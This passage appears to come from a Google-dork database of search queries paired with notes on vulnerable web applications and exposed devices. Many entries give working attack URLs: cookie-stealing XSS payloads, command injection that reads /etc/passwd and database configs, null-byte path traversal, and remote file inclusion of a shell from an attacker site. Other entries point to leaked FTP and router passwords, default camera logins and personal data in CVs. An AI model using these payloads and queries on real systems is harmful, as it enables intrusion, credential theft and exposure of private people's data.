		ster.php?yim=">alert(document.cookie) http://[target]/[path_to_funkboard]/register.php?location=">alert(document.cookie) http://[target]/[path_to_funkboard]/register.php?sex=">alert(document.cookie) http://[target]/[path_to_funkboard]/register.php?interebbies=">alert(document.cookie) http://[target]/[path_to_funkboard]/register.php?sig=alert(document.cookie) http://[target]/[path_to_funkboard]/register.php?aim=">alert(document.cookie) path disclosure: http://[target]/[path_to_funkboard]/images/forums.php database username & password disclosure: during installation is not remembered to delete the mysql_install script and the installation do not delete it, usually: http://[target]/[path]/admin/mysql_install.php or http://[target]/[path]/admin/pg_install.php there, a user can see database clear text username & password ... Then, the script let the user proceed to the next page, where he can reset funkboard administator username & password. Now the script faults, because some tables exist, etc. So user can go back and setting a new database name for installation, guessing among other installations on the server... Once Installation succeeded he can set new admin username e password then login at this page: http://[target]/[path]/[path_to_funkboard]/admin/index.php Now the user can edit templates and append some evil javascript code. remote code execution: look at this code in mysql_install.php : $infoout = " so, you have a backdoor on target system... you can launch commands by this urls: http://localhost:30/funkboard/info.php?

		command=ls%20-la to list directories... http://localhost:30/funkboard/info.php?command=cat%20/etc/passwd to see /etc/passwd file
"Summary View of Sensors" | "sensorProbe8 v *" | "cameraProbe 3.0" -filetype:pdf -filetype:html	"Summary View of Sensors" | "sensorProbe8 v *" | "	sensorProbe is a SNMP enabled and Web based Environmental Monitoring Device. The sensors attached to this device can monitor temperature, humidity, water leakage and air flow, etc. It does support other sensors which can monitor voltage drop, security, analog and dry contacts. The sensorProbe monitors your equipment's environmental variations, and alerts you through "Email , SMS or SNMP Alerts in your Network Management system" in advance and prevent any disaster.
inurl:index.php fees shop link.codes merchantAccount	inurl:index.php fees shop link.codes merchantAccount	Vulnerability in EPay systemsPHP code includinghttp://targeturl/index.php?read=../../../../../../../../../../../../../etc/passwdadvisory:http://www.cyberlords.net/advisories/cl_epay.txtEPay Pro version 2.0 is vulnerable to this issue.
intitle:"admin panel" +"Powered by RedKernel"	intitle:"admin panel" +"Powered by RedKernel"	This finds all versions of RedKernel Referer Tracker(stats page) it just gives out some nice info
intitle:phpnews.log in	intitle:phpnews.login	Vulnerable script auth.php (SQL injection)--- from rst.void.ru --- Possible scenario of attack:[1] log in admin panel, using SQL injection[2] upload PHP file through "Upload Images" function (index.php?action=images) and have fun with php shellor edit template (index.php?action=modtemp) and put backdoor code into it.---------- http://www.securityfocus.com/bid/14333/infohttp://rst.void.ru/papers/advisory31.txtThe version number may be found sometimes in error messages.
intitle:"blog	intitle:"blog torrent upload"	Blog Torrent is free, open-source

torrent upload"		software that provides a way to share large files on your website.vulnerability: free access to the password filehttp://[target]/[path_of_blog]/data/newusersadvisory:http://www.securitytracker.com/alerts/2005/Jul/1014449.html All current versions could be vulnerable depending on directory permissions.
intitle:MyShell 1.1.0 build 20010923	intitle:MyShell 1.1.0 build 20010923	Basicly MyShell is a php program that allows you to execute commands remotely on whichever server it's hosted on.
intitle:"Network Storage Link for USB 2.0 Disks" Firmware	http://www.google.com/search?q=intitle:%22Network+Storage+Link+for+USB+2.0+Disks%22+Firmware&num=100&hl=en&lr=&c2coff=1&safe=off&filter=0	Networked USB hard drives (NSLU2). Be sure to disable Google's filter (&filters=0) as that is where they pop up. Default password (Linksys) is admin:admin (just like all the rest). A majority are locked some are not. Some logins to the NSLU2 will be a link off a website. Enjoy.
intitle:"AlternC Desktop"	intitle:"AlternC Desktop"	This finds the login page for AlternC Desktop I dont know what versions.
intitle:"communigate pro * *" intitle:"entrance"	intitle:communigate pro entrance	Just reveals the login for Communigate Pro webmail. A brute force attack could be attempted. The directory link from this page can in some instances be used to query user information.
"inspanel" intitle:"login" -"cannot" "Login ID" -site:inspediumsoft.com	"inspanel" intitle:"login" -"cannot" "Login ID" -site:inspediumsoft.com	This finds all versions of the inspanel login page.
intitle:iDVR -intitle:"com | net | shop" -inurl:"asp | htm | pdf | html | php | shtml | com | at | cgi | tv"	intitle:iDVR -intitle:"com | net | shop" -inurl:"asp | htm | pdf | html | php | shtml | com | at | cgi | tv"	Online camera. Default login is administrator and password blank. Video server runs default on port 2000. There is an application DVR Center that is used to connect to server and manage recorded videos.
"HostingAccelerator" intitle:"login" +"Username" -	"HostingAccelerator" intitle:"login" +"Username" -"news" -demo	This will find the login portal for HostingAccelerator ControlPanel I have not looked for exploits for these

"news" -demo		so i dont know if their are any. So far i have seen versions 1.9 2.2 and 2.4 found by this dork.
intitle:"INTELLINET" intitle:"IP Camera Homepage"	intitle:"INTELLINET" intitle:"IP Camera Homepage"	This googledork finds INTELLINET ip cameras. They are used to monitor things and have a web interface. Most of the pages load with the default username and password of guest. The user manual says that the default admin username/password is admin/admin. At the time of posting this googledork had 10 results. p.s. This was discovered by jeffball55 and cleaned up by golfo
"Powered by Zorum 3.5"	"Powered by Zorum 3.5"	Zorum 3.5 remote code execution poc exploitsoftware:description: Zorum is a freely available, open source Web-based forumapplication implemented in PHP. It is available for UNIX, Linux, and any otherplatform that supports PHP script execution.author site: http://zorum.phpoutsourcing.com/1) remote code execution:vulnerable code, in /gorum/prod.php file:07 $doubleApp = isset($argv[1]); ...14 if($doubleApp)15 {16 $appDir = $argv[1];17 system("mkdir $prodDir/$appDir"); ...a user can execute arbitrary commands using pipe char, example:http://[target]/zorum/gorum/prod.php?argv[1]=|ls%20-lato list directorieshttp://[target]/zorum/gorum/prod.php?argv[1]=|cat%20../config.phpto see database username/password...http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20/etc/passwdto see /etc/passwd file2) path disclosure:http://[target]/zorum/gorum/notification.phphttp://[target]/zorum/user.phphttp://[target]/zorum/attach.phphttp://[target]/zorum/blacklist.phphttp://[target]/zorum/forum.phphttp://[target]/zorum/globalstat.phphttp://[target]/zorum/gorum/trace.phphttp://[target]/zorum/gorum/badwords.phphttp://[target]/zorum/gorum/flood.phpand so

		on...googledork:"Powered by Zorum 3.5"rgodsite: http://rgod.altervista.orgmail: retrogod at aliceposta itoriginal advisory: http://rgod.altervista.org/zorum.html
intitle:"xams 0.0.0..15 - Login"	intitle:"xams 0.0.0..15 - Login"	This is the login for xams it should catch from 0.0.1-0.0.150.0.15 being the latest version as far as I can see their is only versions 0.0.13 0.0.14 and 0.0.15
intitle:"curriculum vitae" filetype:doc	intitle:"curriculum vitae" filetype:doc	Hello. 1. It reveals personal datas, often private addresses, phone numbers, e-mails, how many children one has:). Full curriculum vitae. I tried many verions of it:inurl:"pl" intitle:"curriculum vitae" filetype:docinurl:"uk" intitle:"curriculum vitae" filetype:docinurl:"nl" intitle:"curriculum vitae" filetype:doc, etc. in order to get national results,alsointitle:"curriculum vitae" ext:(doc | rtf)However filetype:doc version gives the most results. 2. You can always do someting with someone phone number, date and place of birth, etc. I placed this string in the forum, but nobody answered me :(. GreetingsphilYps. you have something similar in your GHDB, but different."Click here for the Google search ==> "phone * * *" "address *" "e-mail" intitle:"curriculum vitae"(opens in new window)Added: Thursday, August 19, 2004hits: 24771"
"There seems to have been a problem with the" " Please try again by clicking the Refresh button in your web browser."	"There seems to have been a problem with the" " Please try again by clicking the Refresh button in your web browser."	search reveals database errors on vbulletin sites. View the page source and you can get information about the sql query executed, this can help in all manner of ways depending on the query.
inurl:csCreatePro.cgi	inurl:csCreatePro.cgi	Create Pro logon pages.

"Powered by FUDForum 2.6" -site:fudforum.org -johnny.ihackstuff	"Powered by FUDForum 2.6" -site:fudforum.org -johnny.ihackstuff	FUDforum is prone to a remote arbitrary PHP file upload vulnerability.An attacker can merge an image file with a script file and upload it to an affected server.This issue can facilitate unauthorized remote access.FUDforum versions prior to 2.7.1 are reported to be affected. Currently Symantec cannot confirm if version 2.7.1 is affected as well.Affected versions:2.6.15 _ 2.6.14 _ 2.6.132.6.12 _ 2.6.10 _ 2.6.9 _ 2.6.82.6.7 _ 2.6.5 _ 2.6.4 _ 2.6.32.6.2 _ 2.6.1 _ 2.6
intitle:"Looking Glass v20040427" "When verifying an URL check one of those"	intitle:"Looking Glass v20040427" "When verifying	Looking Glass v20040427 arbitrary commands execution / cross site scripting. description: Looking Glass is a pretty extensive web based network querying tool for use on php enabled servers. site: http://de-neef.net/articles.php?id=2&page=1download page: http://de-neef.net/download.php?file=2Read the full report here: http://rgod.altervista.org/lookingglass.html
contacts ext:wml	contacts ext:wml	Forget Bluetooth Hacking! You'll be amazed, at how many people sync their Cell Phones to the same Computers they run some type of Server on. This Query literally gives you access to peoples private contact lists that are ether on there Smart Phones', or on their Windows CE wireless devices.An attacker could Spoof Emails with the "SIG" details of the persons Phone firmware, or simply collect the cellular numbers for something later on down the road.I even hypotheticlly came across some private text messages!
intitle:"NetCam Live Image" -.edu -.gov -johnny.ihackstuff.com	intitle:"NetCam Live Image" -.edu -.gov -johnny.ihackstuff.com	This is a googledork for StarDot netcams. You can watch these cams and if you have the admin password you can change configurations and other settings. They have a default

		admin name/pass but I haven't taken the time to figure it out.
intitle:"Content Management System" "user name"|"password"| "admin" "Microsoft IE 5.5" -mambo - johnny.ihackstuff	intitle:"Content Management System" "user name"|"password"|"admin" "Microsoft IE 5.5" -mambo - johnny.ihackstuff	iCMS - Content Management System...Create websites without knowing HTML or web programming.
phpLDAPadmin intitle:phpLDAPadmin filetype:php inurl:tree.php | inurl:login.php | inurl:donate.php (0.9.6 | 0.9.7)	phpLDAPadmin intitle:phpLDAPadmin filetype:php inurl:tree.php | inurl:login.php | inurl:donate.php (0.9.6 | 0.9.7)	phpLDAPadmin 0.9.6 - 0.9.7/alpha5 (possibly prior versions) system disclosure,remote code execution, cross site scriptingsoftware:author site: http://phpldapadmin.sourceforge.net/description: phpLDAPadmin is a web-based LDAP client. It provides easy,anywhere-accessible, multi-language administration for your LDAP serverIf unpatched and vulnerable, a user can see any file on target system. A user can also execute arbitrary php code and system commands or craft a malicious url to include malicious client side code that will be executed in the security contest of the victim browser.
"powered by ITWorking"	"powered by ITWorking"	saveWebPortal 3.4 remote code execution / admin check bypass / remote fileinclusion / cross site scripting author site: http://www.circeos.itdownload page: http://www.circeos.it/frontend/index.php?page=downloadsa) remote code execution:a user can bypass admin check, calling this url:http://[target]/saveweb/admin/PhpMyExplorer/editerfichier.php?chemin=.&fichier=header.php&type=Sourcenow can leave a backdoor in header.php or some other file, example:after editing template, user can execute arbitrary system commands, through aurl like this:http://[target]/saveweb/header.php?

		command=ls%20-lato list directories...http://[target]/saveweb/header.php?command=cat%20config.inc.phpto see database username/password and admin panel username/password (now attacker have full access to site configuration... can go tohttp://[target]/saveweb/admin/to login...)http://[target]/saveweb/header.php?command=cat%20/etc/passwdto see passwd file...b) arbitrary file inclusion:a user can view any file on the target server,if not with .php extension:http://[target]/saveweb/menu_dx.php?SITE_Path=../../../../../boot.ini%00http://[target]/saveweb/menu_sx.php?CONTENTS_Dir=../../../../../boot.ini%00can execute arbitrary file resident on target server, if with .php extension,example :http://[target]/saveweb/menu_dx.php?SITE_Path=../../../../../[script].php%00http://[target]/saveweb/menu_sx.php?CONTENTS_Dir=../../../../../[script].php%00can craft a malicious url to cause victim user to execute commands on externalsite:http://[target]/saveweb/menu_dx.php?SITE_Path=http://[external_site]/cmd.gif%00http://[target]/saveweb/menu_sx.php?CONTENTS_Dir=http://[external_site]/cmd.gif%00where cmd.gif is a file like this:c) xss:c.1)http://[target]/saveweb/footer.php?TABLE_Width=>alert(document.cookie)http://[target]/saveweb/footer.php?SITE_Author_Domain=>alert(document.cookie)http://[target]/saveweb/footer.php?SITE_Author=>alert(document.cookie)http://[target]/saveweb/footer.php?L_Info=>alert(document.cookie)http://[target]/saveweb/footer.php?L_Help=>alert(document.cookie)http://[target]/saveweb/header.php?TABLE_Width=>alert(document.cookie)http://[target]/saveweb/header.php?L_Visitors=>alert(document.cookie)http://[target]/savewe

		b/header.php?count=>alert(document.cookie)http://[target]/saveweb/header.php?SITE_Logo=">alert(document.cookie)http://[target]/saveweb/header.php?BANNER_Url=">alert(document.cookie)http://[target]/saveweb/header.php?L_Sunday="}alert(document.cookie)
intitle:guestbook inurl:guestbook "powered by Advanced guestbook 2.*" "Sign the Guestbook"	intitle:guestbook inurl:guestbook "powered by Adva	Advanced Guestbook is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
intext:"Master Account" "Domain Name" "Password" inurl:/cgi-bin/qmailadmin	intext:"Master Account" "Domain Name" "Password" inurl:/cgi-bin/qmailadmin	qmail mail admin login pages.There are several vulnerabilities relating to this software
intitle:"web-cyradm"|"by Luc de Louw" "This is only for authorized users" -tar.gz -site:web-cyradm.org -johnny.ihackstuff	intitle:"web-cyradm"|"by Luc de Louw" "This is only for authorized users" -tar.gz -site:web-cyradm.org -johnny.ihackstuff	Web-cyradm is a software that glues topnotch mailing technologies together. The focus is on administrating small and large mailing environments.Web-cyradm is used by many different users. At the low end this are homeusers which are providing mailadresses to their family. On the mid to top end users are SME enterprises, educational and other organizations.The software on which web-cyradm relies on is completely free and opensource software. So you get the maximung flexibility which the lowest TCO.
"Powered by FUDForum 2.7" -site:fudforum.org -johnny.ihackstuff	"Powered by FUDForum 2.7" -site:fudforum.org -johnny.ihackstuff	FUDforum is prone to a remote arbitrary PHP file upload vulnerability.An attacker can merge an image file with a script file and upload

		it to an affected server.This issue can facilitate unauthorized remote access.FUDforum versions prior to 2.7.1 are reported to be affected. Currently Symantec cannot confirm if version 2.7.1 is affected as well.Affected versions:2.7
"You have requested to access the management functions" -.edu	"You have requested to access the management functions" -.edu	Terracotta web manager admin login portal.
"Please authenticate yourself to get access to the management interface"	"Please authenticate yourself to get access to the management interface"	Photo gallery managment system login
ext:inc "pwd=" "UID="	ext:inc "pwd=" "UID="	Database connection strings including passwords
inurl:chitchat.php "choose graphic"	inurl:chitchat.php "choose graphic"	rgod advises:Cyber-Cats ChitCHat 2.0 permit cross site scripting attacks, let users launch exploits from, let remote users obtain informations on target users, let insecurely delete/create files. This search does not find vulnerable versions, only generic.software:site: http://www.cyber-cats.com/php/rgodsite: http://rgod.altervista.orgmail: retrogod@aliceposta.it[/code]
"Calendar programming by AppIdeas.com" filetype:php	"Calendar programming by AppIdeas.com" filetype:php	phpCommunityCalendar 4.0.3 (possibly prior versions) sql injection / login bypass / cross site scripting This search does not narrow to vulnerable versions.software:site: http://open.appideas.comdownload: http://open.appideas.com/Calendar/original advisory: http://rgod.altervista.org/phpccal.html
"Powered by MD-Pro" | "made with MD-Pro"	"Powered by MD-Pro" | "made with MD-Pro"	MAXdev MD-Pro 1.0.73 (possibly prior versions) remote code execution/ cross site scripting / path disclosure. This search does not find vulnerable versions.software:site:

		http://www.maxdev.com/description: http://www.maxdev.com/AboutMD.phtmloriginal advisory: http://rgod.altervista.org/maxdev1073.html
"Software PBLang" 4.65 filetype:php	"Software PBLang" 4.65 filetype:php	my advisory:[quote]PBLang 4.65 (possibly prior versions) remote code execution / administrativecredentials disclosure / system information disclosure / cross site scripting /path disclosuresoftware:description: PBLang is a powerful flatfile Bulletin Board System. It combinesmany features of a professional board, but does not even require SQL support. Itis completely based on text-file.site: http://pblang.drmartinus.de/download: https://sourceforge.net/project/showfiles.php?group_id=629531) system disclosure:you can traverse directories and see any file (if not .php or .php3 etc.) andinclude any file on target system using '../' chars and null byte (%00), example:http://target]/[path]/pblang/setcookie.php?u=../../../../../etc/passwd%00vulnerable code in setcookie.php: ...16 $usrname=$HTTP_GET_VARS['u'];17 @include($dbpath.'/'.$usrname.'temp'); ...2) remote code execution:board stores data in files, when you register a [username] file without extensionis created in /db/members directory, inside we have php code executed when youlogin, so in location field type:madrid"; system($HTTP_POST_VARS[cmd]); echo "in /db/members/[username] file we have...$userlocation="madrid"; system($HTTP_GET_VARS[cmd]); echo "";...no way to access the script directly, /db/members is .htaccess protectedand extra lines are deleted from files after you login, so you should makeall in a POST request and

		re-registerthis is my proof of concept exploit, to include [username] file I make a GET request of setcookie.php?u=[username]%00&cmd=[command] but you can call username file through some other inclusion surely when you surf the forum:http://rgod.altervista.org/pblang465.html 3)admin/user credentials disclosure:you can see password hash of any user or admin sending the command:cat ./db/members/[username]4) cross site scripting:register and in location field type:madrid"; echo "alert(document.cookie)then check this url:http://[target]/[path]/setcookie.php?u=[username]%005) path disclosure:http://[target]/[path]/setcookie.php?u=%00googledork: "Software PBLang" filetype:phprgodsite: http://rgod.altervista.orgmail: retrogod@aliceposta.itoriginal advisory: http://rgod.altervista.org/pblang465.html[/quote]
"Powered by and copyright class-1" 0.24.4	"Powered by and copyright class-1" 0.24.4	class-1 Forum Software v 0.24.4 Remote code executionsoftware: site: http://www.class1web.co.uk/softwaredescription: class-1 Forum Software is a PHP/MySQL driven web forum. It is written and distributedunder the GNU General Public License which means that its source is freely-distributedand available to the general public. vulnerability: the way the forum checks attachment extensions...look at the vulnerable code at viewforum.php 256-272 lines.nothing seems so strange, but... what happen if you try to upload a filewith this name? :shell.php.' or 'a'='a;)[1] SQL INJECTION!The query and other queries like this become:SELECT * FROM [extensions table name] WHERE extension='' or 'a'='a' AND file_type='Image'you have

		bypassed the check... now an executable file is uploaded, because for Apache, bothon Windows and Linux a file with that name is an executable php file...you can download a poc file from my site, at url:http://rgod.altervista.org/shell.zipinside we have:you can do test manually, unzip the file, register, login, post this file as attachment, thengo to this url to see the directory where the attachment has been uploaded:http://[target]/[path]/viewattach.phpyou will be redirected to:http://[target]/[path]/[upload_dir]/then launch commands:http://[target]/[path]/[upload_dir]/shell.php.'%20or%20'a'%20='a?command=cat%20/etc/passwdto see /etc/passwd filehttp://[target]/[path]/[upload_dir]/shell.php.'%20or%20'a'%20='a?command=cat%20./../db_config.incto see database username and passwordand so on...you can see my poc exploit at this url:http://www.rgod.altervista.org/class1.htmlgoogledork: "Powered by and copyright class-1"rgodsite: http://rgod.altervista.orgmail: retrogod [at] aliceposta . it
"Powered by Xcomic"	"Powered by Xcomic"	"Powered by xcomic"this is a recent exploit, you can retrieve any file on target systemby using "../" chars and null byte (%00), example:http://target/path_to_xcomic/initialize.php?xcomicRootPath=../../../../etc/passwd%00or launch commands:http://target/path_to_xcomic/initiailze.php?xcomicRootPath=http://[evil_site]/cmd.gif?command=ls%20-la%00where cmd.gif is a file like this:I have read an advisory copy here: http://forum.ccteam.ru/archive/index.php/t-57.html
rdbqds -site:.edu -	rdbqds -site:.edu -site:.mil -site:.gov	Ceasar encryption is a rather simple

site:.mil -site:.gov		encryption. You simply shift letters up or down across the entire length of the message... In the url I did this with the word "secret" which equals rdbqds.. (1 char shift).It appears that protected PDF documents use this very encryption to protect its documents. At least one version of adobe acrobat did. A big thank you to Golfo for the links he provided in the forum to assist.http://www.math.cankaya.edu.tr/~a.kabarcik/decrypt.html http://www.math.cankaya.edu.tr/~a.kabarcik/encrypt.html
"Warning:" "Cannot execute a blank command in"	"Warning:" "Cannot execute a blank command in"	"Warning: passthru(): Cannot execute a blank command in" "Warning: system(): Cannot execute a blank command in" "Warning: exec(): Cannot execute a blank command in" generally: "Warning:" "Cannot execute a blank command in" this a php error message, essentially it shows hacked pages links where someone leaved a backdoor and the page has error_reporting not set to 0... you can execute shell commands simply appending a var, guessing variable name, usually 'cmd' or 'command' or something else, example: http://[target]/[path]/somescript.php?cmd=cat%20/etc/passwd
"Mail-it Now!" intitle:"Contact form" | inurl:contact.php	"Mail-it Now!" intitle:"Contact form" | inurl:contact.php	Mail-it Now! 1.5 (possibly prior versions) contact.php remote code executionsite: http://www.skyminds.net/source/description: a mail form scriptvulnerability: unsecure file creation -> remote code executionwhen you post an attachment and upload it to the server (usually to "./upload/" dir)the script rename the file in this way:[time() function result] + [-] + [filename that user choose]spaces are simply replaced with "_" chars.So a user can post an executable attachment, calculate the

		time() result locallythen, if attachment is a file like this:can launch commands on target system, example:http://[target]/[path]/[time() result]-[filename.php]?command=cat%20/etc/passwdu can find my poc code at this url: http://rgod.altervista.org/mailitnow.html
"maxwebportal" inurl:"default" "snitz forums" +"homepage" -intitle:maxwebportal	"maxwebportal" inurl:"default" "snitz forums" +"homepage" -intitle:maxwebportal	several vulnerabilities relating to this.MaxWebPortal is a web portal and online community system which includes features such as web-based administration, poll, private/public events calendar, user customizable color themes, classifieds, user control panel, online pager, link, file, article, picture managers and much more. User interface allows members to add news, content, write reviews and share information among other registered users.h**p://www.maxwebportal.com/
"Powered by AzDg" (2.1.3 | 2.1.2 | 2.1.1)	"Powered by AzDg" (2.1.3 | 2.1.2 | 2.1.1)	AzDGDatingLite V 2.1.3 (possibly prior versions) remote code execution software: site: http://www.azdg.com/ download page: http://www.azdg.com/scripts.php?l=english description:" AzDGDatingLite is a Free dating script working on PHP and MySQL. Multilanguage, Multitemplate, quick/simple search, feedback with webmaster, Admin maillist, Very customizable " etc. vulnerability: look at the vulnerable code in ./include/security.inc.php at lines ~80-90 ... else { if (isset($l) && file_exists(C_PATH.'/languages/'.$l.'/'.$l.'.php') && $l != '') { include_once C_PATH.'/languages/'.$l.'/'.$l.'.php'; include_once C_PATH.'/languages/'.$l.'/'.$l.'_.php'; } ... you can include arbitrary file on the server using "../" and null byte (%00) (to truncate path to the filename you

		choose), example: http://[target]/[path]/azdg//include/security.inc.php?l=../../../../../../../[filename.ext]%00 at the begin of the script we have: @ob_start(); look at the php ob_start man page : "This function will turn output buffering on. While output buffering is active no output is sent from the script (other than headers), instead the output is stored in an internal buffer." However, this is not a secure way to protect a script: buffer is never showned, so you cannot see arbitrary file from the target machine this time ... but you can execute arbirtrary commands and after to see any file :) : when you register to azdg you can upload photos, so you can upload and include a gif or jpeg file like this: usually photos are uploaded to ./members/uploads/[subdir]/[newfilename].[ext] azdg calculates [subdir] & [newfilename] using date(), time() and rand() functions you cannot calculate but you can retrieve the filename from azdg pages when file is showned on screen (!), so you can do this: http://[target]/[path]/azdg//include/security.inc.php?l=../../../members/uploads/[subdir]/[filename.ext]%00&cmd=cat%20/etc/passwd the output will be redirected to ./include/temp.txt so you make a GET request of this file and you have /etc/passwd file you can find my poc exploit at this url:http://rgod.altervista.org/azdg.html
intitle:"Content Management System" "user name"|"password"|"admin" "Microsoft IE 5.5" -mambo - johnny.ihackstuff	intitle:"Content Management System" "user name"|"password"|"admin" "Microsoft IE 5.5" -mambo - johnny.ihackstuff	iCMS - Content Management System...Create dynamic interactive websites in minutes without knowing HTML or web programming. iCMS is a perfect balance of ease of use, flexibility, and power. If you are a Web Developer, you can dramatically decrease your Website development time, decrease your costs and deliver a

		product that will yield higher profits with less maintenance required!Dont think there are any vulns attached to this
"Powered by: Land Down Under 800" | "Powered by: Land Down Under 801" - www.neocrome.net	"Powered by: Land Down Under 800" | "Powered by: Land Down Under 801" - www.neocrome.net	Land Down Under is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.http://secunia.com/advisories/16878/
intext:"Master Account" "Domain Name" "Password" inurl:/cgi-bin/qmailadmin	intext:"Master Account" "Domain Name" "Password" inurl:/cgi-bin/qmailadmin	There seems to be several vulns for qmail.
"powered by Gallery v" "[slideshow]"|"images" inurl:gallery	"powered by Gallery v" "[slideshow]"|"images" inurl:gallery	There is a script injection vuln for all versions.http://www.securityfocus.com/bid/14668
intitle:guestbook inurl:guestbook "powered by Advanced guestbook 2.*" "Sign the Guestbook"	intitle:guestbook inurl:guestbook "powered by Advanced guestbook 2.*" "Sign the Guestbook"	Advanced Guestbook is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.http://secunia.com/product/4356/http://www.packetalarm.com/sec_n

		otices/index.php?id=2209&delimit=1#detail
intitle:"Backup-Management (phpMyBackup v.0.4 beta *)" - johnny.ihackstuff	intitle:"Backup-Management (phpMyBackup v.0.4 beta *)" - johnny.ihackstuff	phpMyBackup is an mySQL backup tool, with features like copying backups to a different server using FTP.
"Powered by Monster Top List" MTL numrange:200-	"Powered by Monster Top List" MTL numrange:200-	2 Step dork - Change url to add filename "admin.php" (just remove index.php&stuff=1&me=2 if you have to) for the admin login.This search finds more pages rather than focusing on the admin login page itself, thus the 2 step dork is more effective.
"login prompt" inurl:GM.cgi	"login prompt" inurl:GM.cgi	GreyMatter is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
"e107.org 2002/2003" inurl:forum_post.php?nt	"e107.org 2002/2003" inurl:forum_post.php?nt	e107 is prone to an input validation vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.Successful exploitation of this issue will permit an attacker to create arbitrary forum message posts.http://www.securityfocus.com/bid/14699
filetype:dat inurl:Sites.dat	filetype:dat inurl:Sites.dat	If you want to find out FTP passwords from FlashFXP Client, just type this query in google and you'll find files called Sites.dat which contain ftp sites, usernames and passwords. If you want to use it, just install FlashFXP and copy whole section to your sites.dat file (file is in your flashFXP directory).
intext:"enable password 7"	intext:"enable password 7"	some people are that stupid to keep their Cisco routers config files on site. You can easly find out configs and password alog with IP addresses of this devices. Above string let you find weak passwords, which are encrypted but can be decrypted by free tool called

		GetPass and provided by boson.com
"you can now password" | "this is a special page only seen by you. your profile visitors" inurl:imchaos	"you can now password" | "this is a special page only seen by you. your profile visitors" inurl:imchaos	IMchaos link tracker admin pages. Reveals AIM screennames, IP ADDRESSES AND OTHER INFO via details link. Logs can also be viewed and deleted from this page.
XOOPS Custom Installation	XOOPS Custom Installation	XOOPS custom installation wizards, allow users to modify installation parameters. May also reveal sql username, password and table installations via pre-filled form data.
intitle:"netbotz appliance" - inurl:.php - inurl:.asp - inurl:.pdf - inurl:securitypipeline -announces	intitle:"netbotz appliance" - inurl:.php -inurl:.asp -inurl:.pdf - inurl:securitypipeline -announces	Netbotz devices are made to monitor video, temperature, electricity and door access in server rooms. These systems usually have multiple cameras. The information by itself might not be very dangerous, but someone could use it to plan physical entrance to a server room. This is not good information to have publicly available.
"Powered by PHP Advanced Transfer Manager"	"Powered by PHP Advanced Transfer Manager v1.30"	PHP Advanced Transfer Manager v1.30 underlying system disclosure / remote command execution / cross site scriptingrgodsite: http://rgod.altervista.orgmail: retrogod at aliceposta it
"Welcome to Administration" "General" "Local Domains" "SMTP Authentication" inurl:admin	"Welcome to Administration" "General" "Local Domains" "SMTP Authentication" inurl:admin	This reveals admin site for Argo Software Design Mail Server.
"Powered by CuteNews"	"Powered by CuteNews"	CuteNews 1.4.0 (possibly prior versions) remote code executionsoftware site: http://cutephp.com/description: "Cute news is a powerful and easy for using news management system that use flat files to store its database. It supports comments, archives, search function, image uploading, backup function, IP banning, flood protection ..."rgodsite: http://rgod.altervista.orgmail: retrogod

		[at] aliceposta it
intitle:rapidshare intext:login	intitle:rapidshare intext:login	Rapidshare login passwords.
intitle:"PHProjekt - login" login password	intitle:"PHProjekt - login" login password	PHProjekt is a group managing software for online calenders, chat, forums, etc. I looked around and i think the default admin login/pass is root/root. Results 1 - 23 of about 851 when i posted this
Phaser numrange:100-100000 Name DNS IP "More Printers" index help filetype:html | filetype:shtml	Phaser numrange:100-100000 Name DNS IP "More Printers" index help filetype:html | filetype:shtml	This is a search for various phaser network printers. With this search you can look for printers to print test/help pages, monitor the printer, and generally mess with people.
intitle:"Orite IC301" | intitle:"ORITE Audio IP-Camera IC-301" -the -a	intitle:"Orite IC301" | intitle:"ORITE Audio IP-Camera IC-301" -the -a	This search finds orite 301 netcams with audio capabilities.
"Powered by GTChat 0.95"+"User Login"+"Remember my login information"	"Powered by GTChat 0.95"+"User Login"+"Remember my login information"	There is a (adduser) remote denial of service vulnerabilty on version 0.95
inurl:/modcp/ intext:Moderator+vBulletin	inurl:/modcp/ intext:Moderator+vBulletin	there have been several dorks for vBulletin, but I could not find one in the search that targets the moderators control panel login page - this search targets versions 3.0 onwards.
intitle:"i-secure v1.1" -edu	intitle:"i-secure v1.1" -edu	I-Secure Login Pages
intitle:"Login to the forums - @www.aimoo.com" inurl:login.cfm?id=	intitle:"Login to the forums - @www.aimoo.com" inurl:login.cfm?id=	Aimoo Login Pages. "Looking for a free message board solution? Aimoo provides one of the most powerful, feature rich, community based forum services available!"
intitle:"Login Forum Powered By AnyBoard"	intitle:"Login Forum Powered By AnyBoard" intitle:"If you are a new user:" intext:"Forum Powered By	Anyboard Login Portals. In addition,A vulnerability has been reported in Netbula Anyboard 9.x "that may allow

intitle:"If you are a new user:" intext:"Forum Powered By AnyBoard" inurl:gochat -edu	AnyBoard" inurl:gochat -edu	a remote attacker to gain access to sensitive data. This problem is due to an information disclosure issue that can be triggered by an attacker sending specific HTTP requests to a vulnerable host. This will result in sensitive information about the system being revealed to the attacker."
"Mimicboard2 086"+"2000 Nobutaka Makino"+"password"+"message" inurl:page=1	"Mimicboard2 086"+"2000 Nobutaka Makino"+"password"+"message" inurl:page=1	Mimicboard2 is prone to multiple HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
"your password is" filetype:log	"your password is" filetype:log	This search finds log files containing the phrase (Your password is). These files often contain plaintext passwords, although YMMV.
"admin account info" filetype:log	"admin account info" filetype:log	searches for logs containing admin server account information such as username and password.
"Warning: Supplied argument is not a valid File-Handle resource in"	"Warning: Supplied argument is not a valid File-Handle resource in"	This error message cqan reveal path information. This message (like other error messages) is often posted to help forums, although the message still reveals path info in this form. Consider using the site: operator to narrow search.
